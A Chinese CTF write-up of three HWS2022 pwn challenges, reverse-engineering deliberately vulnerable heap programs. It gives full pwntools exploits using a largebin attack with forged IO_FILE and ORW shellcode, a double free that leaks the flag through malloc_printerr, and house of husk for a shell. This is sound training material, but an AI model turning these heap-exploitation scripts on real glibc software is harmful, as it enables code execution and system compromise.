HWS2022 复现WP

Grape

程序分析

开了沙箱

image-20220212151929256

菜单堆题

image-20220207154409552

最开始有个初始化函数

image-20220207155800844

image-20220207155816499

这里只需要关注202010这个地址,这个地址存放的是(buf & 0xFFFFFFFFFFFFF000LL) + 80,其实就是用户堆基址(+80是因为tcache)

plant函数,提供三个大小类别,确定类别后调用calloc分配chunk(不走tcache),存放好chunk_addr和size之后读入data,这里用的size-1,所以没有offbyone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unsigned __int64 plant()
{
unsigned int v1; // [rsp+8h] [rbp-28h]
unsigned int v2; // [rsp+Ch] [rbp-24h]
__int64 buf[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( dword_20201C <= 0 || dword_20201C > 16 )
exit_();
--dword_20201C;
buf[0] = 0LL;
buf[1] = 0LL;
puts("Let's plant a grape tree!");
puts("Input the idx of the grape tree you wanner plant:");
v2 = rc();
if ( v2 > 0xF )
exit_();
puts("You want a small one / medium one / big one?");
read(0, buf, 8uLL);
if ( !strncmp((const char *)buf, "small", 5uLL) )
{
v1 = 0x18;
}
else if ( !strncmp((const char *)buf, "medium", 6uLL) )
{
v1 = 0x108;
}
else
{
if ( strncmp((const char *)buf, "big", 3uLL) )
exit_();
v1 = 0x408;
}
*((_QWORD *)&unk_202060 + 2 * v2) = sub_FD1(v1);// chunk_addr
//
*((_QWORD *)&unk_202060 + 2 * v2 + 1) = v1; // size
puts("Leave a message to your grape tree:");
read(0, *((void **)&unk_202060 + 2 * v2), v1 - 1);// no off-by-one
puts("Well, you build a grape tree successfully!");
return __readfsqword(0x28u) ^ v4;
}

remove函数,只free了chunk,但是并没有把chunk_addr清空,导致存在一个UAF

image-20220207160620900

watch函数,也是印证了UAF,这里不像peachw那题存在负数索引,因为比较用的jbe是比较的无符号数

image-20220212151950805

image-20220207161008704

edit函数可以当成空函数,没有实际作用

image-20220207161132687

另外给了一个后门函数

image-20220207154431334

image-20220207155521263

后门函数修改离202010偏移0xA000以内地址的值

思路是largebinattack,攻击_IO_list_all伪造一个__IO_FILE结构体,通过IO_FILE的虚表实现orw

现在比较难的问题就是题目只提供了三个大小类型的chunk,最大是0x408,是不到largebin的,所以我们要通过free两个相邻的0x408chunk来合并出一个largechunk(这里根据网上wp所说,如果直接先填满tcache之后再正常合并的话,会超次数),所以需要用一个不正常的技巧,即修改tcache chunk的key,来重用tcachechunk,这样能节省次数

Heap Exploit v2.31 | 最新堆利用技巧,速速查收 - 知乎 (zhihu.com)

2.29版本以后,tcachechunk多加了个key字段 再tache_put里有 e->key=tcache,并且每次put的时候通过key来检查是否发生了double free,所以我们可以利用后门函数来修改已经进入tcache的chunk的key字段,然后再次free这个chunk,就达到了double free的目的

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

再次double free时,由于会判定tcache已经满了,所以虽然仍然还是原来tcache chunk,但是会被重新free到unsortedbin chunk里

这样两个chunk合并在一起就能创造一个large chunk

环境搭建

直接用pwndocker,设置为题目给的libc,会无法使用高级命令,比如快速查看堆的命令,因为题目给的libc不是debug版本,而我们有没下载相关符号

image-20220213121053526

后来找到这个工具

io12/pwninit: pwninit - automate starting binary exploit challenges (github.com)

image-20220213121115654

这个程序会自动创建搭建特定libc的脚本,但是我们用不到脚本,我们主要用他下载到的debug版本的libc,指定成debug版本的libc就能用高级命令了

漏洞利用

这里有个largebin的小细节,以前没注意到

image-20220213122024731

image-20220213122032295

exp里是通过delete7 然后再delete8形成一个新的large chunk’0x820插入到largebin里,

我们从上图可以看到按size大小,fd_nextsize的方向上,size是逐渐变小的,因此libc里面查找合适的插入位置,是这样遍历这去找的

image-20220213122057599

但是当插入到相同大小的竖向的链表上时,正如这里说的,永远插入的是竖向列表的第二个位置

image-20220213122112697

而不是单纯意义上的FIFO,(大体上是这样),因为第一个插入的chunk1要占据链表头的位置,如果是完全FIFO的话,当插入chunk2的时候,应该是chunk2-> chunk1,但是这里的算法结果是chunk1->chunk2,在这个局部并不是FIFO,但是两个以上的块之后都是FIFO了

这题先用largebin attack向io_list_all中打入victim chunk的地址,也就是unsorted bin里面被重排的地址

image-20220213122500022

然后伪造一个IO_FILE,利用refs里的2.29打法,使用_IO_wfile_sync,wfile_sync

image-20220213122942216

在满足条件的情况下,会调用do_encoding的函数指针,我们只要在这个指针填上orw就行

相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Wide_data

/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};




IO_codecvt

struct _IO_codecvt
{
void (*__codecvt_destr) (struct _IO_codecvt *);
enum __codecvt_result (*__codecvt_do_out) (struct _IO_codecvt *,
__mbstate_t *,
const wchar_t *,
const wchar_t *,
const wchar_t **, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_unshift) (struct _IO_codecvt *,
__mbstate_t *, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_in) (struct _IO_codecvt *,
__mbstate_t *,
const char *, const char *,
const char **, wchar_t *,
wchar_t *, wchar_t **);
int (*__codecvt_do_encoding) (struct _IO_codecvt *);
int (*__codecvt_do_always_noconv) (struct _IO_codecvt *);
int (*__codecvt_do_length) (struct _IO_codecvt *, __mbstate_t *,
const char *, const char *, size_t);
int (*__codecvt_do_max_length) (struct _IO_codecvt *);
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};

整个jumps如下

image-20220213122631726

正常的exit路径是调用到overflow,因此exp里使用的是+0x48,使得wfile_sync出现在overflow的位置

1
payload += p64(wfile_vtable+0x48) #vtable

直接搜是能够搜IO_wfile_sync的函数 到这个wfile的

image-20220213122840263

orw部分就是老生常谈了

mprotect是修改一块内存区域的保护属性

image-20220213123202667

rsp下面借助setcontext实现控制流到read执行shellcode

image-20220213123214934

image-20220213123223559

由于chunk块比较大,所有的payload都可以放在一起,这里面因为沙箱没有禁用架构,因此可以切换到32位模式使用32位的调用号,也算是典型技巧

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from pwn import *
sh = process("./grape",env={"LD_PRELOAD":"./libc/libc-2.29.so"})
#sh = process("./grape")
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
large = b'big'
small = b'medium'
fast = b'small'
def add(idx,scale,content):
sh.sendlineafter(b"choice >>> ",b'1')
sh.sendlineafter(b'wanner plant:\n',str(idx).encode('utf8'))
sh.sendlineafter(b'/ big one?\n',scale)
sh.sendafter(b' your grape tree:\n',content)
return
def dele(idx):
sh.sendlineafter(b"choice >>> ",b'2')
sh.sendlineafter(b"idx of your tree:\n",str(idx).encode('utf8'))
return
def show(idx):
sh.sendlineafter(b"choice >>> ",b'3')
sh.sendlineafter(b"idx of your tree:\n",str(idx).encode('utf8'))
return
def backdoor(addr,value):
sh.sendlineafter(b"choice >>> ",b'666')
sh.sendlineafter(b"present(s) now!\n",'yes')
sh.sendlineafter(b'lucky number:\n',str(addr).encode('utf8'))
sh.sendafter(b"your present:\n",p64(value))
return

for i in range(12):
add(i,large,'nothing')
for i in range(7):
dele(i)

#修改key

backdoor(0x218,0xdeadbeff)
backdoor(0x628,0xdeadbeff)
dele(0)
dele(1)
show(0)
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4ca0
success(hex(libc_base))
show(1)
heap_base = u64(sh.recv(6).ljust(8,b'\x00')) - 0x10
success(hex(heap_base))

dele(7)
libc = ELF('./libc/libc-2.29.so')


victim = heap_base + 0x1c90
vtable_after = victim + 0xe0
wide_data_after = vtable_after + 0x28
wfile_vtable = 0x1e6020 + libc_base
getkeyserv_handle = libc_base + 0x150550
setcontext = libc_base + 0x55e35
mprotect = libc_base + 0x117590
read = libc_base + libc.sym['read']


poprdi = libc_base + 0x0000000000026542
poprsi = libc_base + 0x0000000000026f9e
poprdx = libc_base + 0x000000000012bda6
payload = p64(0xdeadbeef) * 0x2
payload += p64(0xdeadbeef) * 0xe
payload += p64(0) * 5
payload += p64(wide_data_after) # codecvt
payload += p64(vtable_after) # _wide_data
payload += p64(0) * 6
payload += p64(wfile_vtable+0x48) #vtable
payload += p64(1) # wide_data :: read_ptr
payload += p64(0) # wide_data :: read_end
payload += p64(0) # wide_data :: read_base
payload += p64(1) # wide_data :: write_base
payload += p64(0) # wide_data :: write_ptr
payload += p64(0)
payload += p64(wide_data_after+0x10)
payload += p64(0) * 2
payload += p64(getkeyserv_handle)
payload += p64(0)
payload += p64(setcontext)
payload += p64(0) * 8
payload += p64(libc_base) # rdi
payload += p64(0x3000) # rsi
payload += p64(0) # rbp
payload += p64(0) # rbx
payload += p64(7) # rdx
payload += p64(0) #
payload += p64(0) # rcx
payload += p64(wide_data_after+0xc0) # rsp
payload += p64(mprotect) # restore rip
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(libc_base)
payload += p64(poprdx)
payload += p64(0x300)
payload += p64(read)
payload += p64(libc_base)

#orw payload
add(12,large,payload)
dele(12)

dele(8)
add(13,fast,'for split')
dele(10)
io_list_all = libc_base + 0x1e5660
backdoor(0x228,io_list_all-0x20)
gdb.attach(sh,'b *$rebase(0x15d7)\n')
add(14,large,'exploit')

sh.sendlineafter(b"choice >>> ",b'999')
success("heap addr : "+hex(heap_base))
shellcode = shellcraft.amd64.linux.mmap(0x410000,0x1000,7,0x32,0,0)
shellcode += shellcraft.amd64.linux.read(0,0x410000,0x1000)
shellcode += '''
mov rsp,0x410f00
mov dword ptr [rsp+4],0x23
mov dword ptr [rsp],0x410000
retf
'''
sh.sendafter("grapes~Bye!\n",asm(shellcode,arch='amd64'))
sleep(5)
shellcode = shellcraft.i386.linux.open('./flag')
shellcode += '''
mov dword ptr [esp+4],0x33
mov dword ptr [esp],0x410100
retf
'''
shellcode1 = shellcraft.amd64.linux.read(3,0x410300,0x100) + shellcraft.amd64.linux.write(1,0x410300,0x50)
shellcode = asm(shellcode,arch='i386').ljust(0x100,b'\x90')
shellcode1 = asm(shellcode1,arch='amd64')
sh.send(shellcode + shellcode1)
sh.interactive()

Refs

Glibc 2.29下的IO_FILE利用 - Mr.R的博客 | By Blog (darkeyer.github.io)

[原创]HWS 2022线上预选赛pwn writeup-CTF对抗-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Peach

image-20220212160643571

指定了解释器为2.26,直接运行就运行不起来,需要用pwndocker搞个环境

skysider/pwndocker: A docker environment for pwn in ctf (github.com)

image-20220212161515691

按pwndocker文档里面给的方法,因为程序已经修改好了interpreter路径了,所以直接用LD_PRELOAD指向libc即可(注意绝对路径)

image-20220212161758290

image-20220212160741394

开局会把flag读入到栈上,并且打印整个栈地址(202060里面存放是栈地址 flag_buf[96])然后进入菜单,

image-20220212184057301

这题漏洞是在draw得时候存在两个漏洞,一个是index有负数溢出,第二个是存在堆溢出,这题用不到堆溢出

image-20220212184216394

利用思路思路为程序的argv是在栈上的,0x202060里的地址是&flag_buf[96],我们可以利用负数溢出修改0x202060的地址为argv的地址,然后read修改argv里面的指针为flag的地址,再通过malloc_printerr打印出flag

image-20220212194417584

image-20220212185538528

在程序开始read时,输入1D个字符,这样能写个换行符上去,因为flag得读入位置是在这次输入字符串上面的,后面打印flag的时候就能打印到换行符

image-20220212185456433

这里draw -36按地址算,就是0x202060

image-20220212194459079

申请三个chunk

image-20220212194531214

image-20220212194554999

第一次throw chunk0,0x20会进入tcache(2.26引入的tcache),然后0x410会进入unsortedbin,同时56180处会被清空

image-20220212194603198

Add_err会重新把0x20分配过来,同时覆盖掉其中data_ptr为chunk1的data_ptr(原先并没有清空),之后因为传的size是001,所以直接走入了else流程,只是又把0x20的chunk free了,没有清空,这样其内部的data_ptr已经是chunk1的data_ptr了

image-20220212194821519

最后 连着两个free触发double free

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# -*- coding: utf-8 -*-
from re import I, L
from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'debug'
libc = ELF('./libc/libc-2.26.so')
elf = ELF("./peachw")
i = 0
while True:
local = 0
if local:
p = process(["./libc/ld-2.26.so", "./peachw"],
env={"LD_PRELOAD":"./libc/libc-2.26.so"})
# p = process(["/home/sjj/glibc-all-in-one/2.26-0ubuntu2.1_amd64/ld-2.26.so", "./peachw"],
# env={"LD_PRELOAD":"/home/sjj/glibc-all-in-one/2.26-0ubuntu2.1_amd64/libc-2.26.so"})
else:
p = remote("1.13.162.249","10003")

def log(addr):
print("[*]==>"+hex(addr))

p.sendlineafter("Do you like peach?","yes\x00"+"a"*(0x1d-5))
p.recvuntil("The peach is ")
flag_addr = int(p.recvline()[:-1])

flag_addr -= 96
log(flag_addr)

def cmd(i):
p.sendafter("Your choice:",p8(i))

def add(idx,name,size,data):
cmd(1)
p.sendlineafter("Index ?",str(idx))
p.sendlineafter("name your peach :",name)
p.sendlineafter("size of your peach:",str(size))
p.sendafter("please descripe your peach :",data)

def add(idx,name,size,data):
cmd(1)
p.sendlineafter("Index ?",str(idx))
p.sendlineafter("name your peach :",name)
p.sendlineafter("size of your peach:",str(size))
p.sendafter("please descripe your peach :",data)

def add_err(idx,name,size):
cmd(1)
p.sendlineafter("Index ?",str(idx))
p.sendafter("name your peach :",name)
p.sendlineafter("size of your peach:",str(size))

def throw(idx):
cmd(2)
p.recvuntil('Index ?')
p.sendline(str(idx))

def eat(idx,num):
cmd(3)
p.recvuntil('Index ?')
p.sendline(str(idx))
# gdb.attach(p)
p.sendafter("What's your lucky number?",str(num))
print p.recv()

def draw(idx,data):
cmd(4)
p.recvuntil('Index ?')
p.send(str(idx))
p.sendafter("input the new size of your peach",'\x00\x03')
p.sendafter("start to draw your peach \n",data)


draw(-36,"\x00"*(0x190+i*8)+p16(flag_addr))

add(0,"aaa",0x410,"bbb")
add(1,"aaa",0x410,"bbb")
add(2,"aaa",0x410,"bbb")
throw(0)
add_err(0,"a"*0x10+p16(0xf6e0),0x001)
throw(1)
throw(0)

try:
p.recvuntil("*** Error in ")
flag = p.recvuntil("invalid")
if "{" in flag:
print flag
pause()
elif "free()" in flag :
i= i + 1
print i
else:
pause()
except:
pass
p.close()

# flag{G0od job~~~This is the real peach you get~}

送分题

程序逻辑比较裸,就不仔细分析了

image-20220212153527020

这里泄露了libc基地址

image-20220212153545347

然后可以read破坏chunk的bk,进行一次unsortedbin attack的能力

实际上整个题就是一个裸的house of husk

其原理就是printf在打印格式化字符串时,可以为格式化符注册处理函数,并且libc中有一张表以ASCII码作为下标,存储着对应的处理函数指针,因此我们首先利用UAF等手段修改global_max_fast为main_arena+88,之后释放合适的size大小的块,使得__printf_arginfo_table表的指针被修改成堆块的地址,然后我们就可以伪造这张表的内容,修改%s等格式符的回调函数为one_gadget

实际上如果不是这题就是裸house of husk,在我们能够用fastbin覆写main_arena后面的内容,我们完全可以选择_free_hook这样更简单的目标

house-of-husk学习笔记 - 掘金 (juejin.cn)

House of Husk - CTFするぞ (hatenablog.com)

house-of-husk学习笔记 - 安全客,安全资讯平台 (anquanke.com)

libc中关键符号地址的寻找方法(实在找不到就用debug版本去找)

max_fast,暂时想到是用free函数去找

image-20220212155259739

main_arena老生常谈就是在malloc_hook上面

image-20220212155341654

两个printf的函数表,用register_printf_specifier函数去找

image-20220212155414061

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from struct import pack, unpack
context.log_level = 'debug'
p = process("./pwn")
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
libc = ELF(libc_path)


MAIN_ARENA = 0x3ebc40
MAIN_ARENA_DELTA = 0x60
GLOBAL_MAX_FAST = 0x3ed940
PRINTF_FUNCTABLE = 0x3F0738
PRINTF_ARGINFO = 0x3ec870
ONE_GADGET = 0x10a41c

sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def offset2size(offset):
return str((offset) * 2 - 0x10)

#0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
#0x4f432 execve("/bin/sh", rsp+0x40, environ)
#0x10a41c execve("/bin/sh", rsp+0x70, environ)



#gdb.attach(p)
#p.interactive()
p.recvuntil("what size?\n")
p.sendline(offset2size(PRINTF_ARGINFO - MAIN_ARENA))
p.recvuntil("what size?\n")
p.sendline(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA))


p.recvuntil("rename?(y/n)\n")
p.sendline("y")
p.recvuntil("Now your name is:")

libc_offset = u64(p.recvuntil('\x7f'.encode()).ljust(8,"\x00".encode()))
libc_base = libc_offset - MAIN_ARENA_DELTA - MAIN_ARENA
leak("libc_base",libc_base)
#unsortedbin attack
p.sendline(p64(libc_offset) + p64(libc_base + GLOBAL_MAX_FAST - 0x10))

ru("box?(1:big/2:bigger)\n")
sl("1")

one_gadget = libc_base + ONE_GADGET

payload = ("a".encode())*8*(ord('s')-2) + p64(one_gadget)*2
sla("\n",payload)
p.interactive()

这里有个小细节,就是为什么我们要伪造的%s的函数,缺写的是ord(‘s’)-2

因为我们给printf函数表赋值的是chunk的头地址 而不是chunk data的地址,chunk的header就占了0x16也就是两个下标的大小